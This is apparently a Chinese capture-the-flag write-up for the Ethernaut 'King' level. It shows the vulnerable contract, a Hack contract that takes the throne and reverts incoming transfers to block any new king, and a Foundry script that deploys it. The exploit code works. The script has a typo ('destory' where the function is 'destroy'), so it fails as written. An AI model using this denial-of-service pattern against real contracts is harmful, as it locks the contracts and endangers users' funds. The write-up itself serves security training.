合约代码：`King.sol`

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {
    address king;
    uint256 public prize;
    address public owner;

    constructor() payable {
        owner = msg.sender;
        king = msg.sender;
        prize = msg.value;
    }

    receive() external payable {
        require(msg.value >= prize || msg.sender == owner);
        payable(king).transfer(msg.value);
        king = msg.sender;
        prize = msg.value;
    }

    function _king() public view returns (address) {
        return king;
    }
}
```

目标是发送大于`prize`成为国王，并阻止其他人成为国王。

思路就是先发送大于`prize`的成为国王，并拒绝`transfer`函数转走钱。

我们可以通过`revert`回退交易完成。

攻击合约：`KingHack.sol`

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./King.sol";

contract Hack {
    constructor (address payable target) payable {
        uint prize = King(target).prize();
        (bool ok,) = target.call{value: prize}("");
        require(ok, "call failed");
    }

    receive() external payable {
        revert("No");
    }

     function destroy() external {
```

```
        selfdestruct(payable(0xE0e2bD8E4016118eA58B0BBFe2FD187c04A947eE));
    }
}
```

一定要将合约自毁！！！

脚本合约：`KingAttack.s.sol`

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import {Script} from "forge-std/Script.sol";
import {Hack} from "../src/KingHack.sol";

contract MyScript is Script {

    function run() external {
        vm.startBroadcast();

        Hack hack = new Hack{value: 1 ether}
(payable(0xbaB8b68B9509D3b4B1dFc1Ab5Af6C1869B5B956E));
        hack.destory();

        vm.stopBroadcast();
    }
}
```